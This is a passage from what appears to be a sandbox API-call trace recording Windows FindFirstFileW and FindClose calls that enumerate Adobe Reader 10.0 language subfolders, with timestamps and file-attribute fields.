lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.768] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.769] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.769] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.769] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.770] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.770] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.771] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.773] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.773] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.774] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.774] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.775] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.775] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.776] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.777] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.777] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.778] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.778] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.778] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.778] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.782] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.783] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.783] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.784] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.785] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.786] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.786] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.789] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.789] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.790] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.791] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.791] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.792] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.792] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.793] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.793] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.794] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.794] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.795] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.795] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.796] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.797] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.797] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.797] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.798] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.799] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.800] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.800] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.801] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.801] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.801] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.802] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.802] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.803] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.804] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 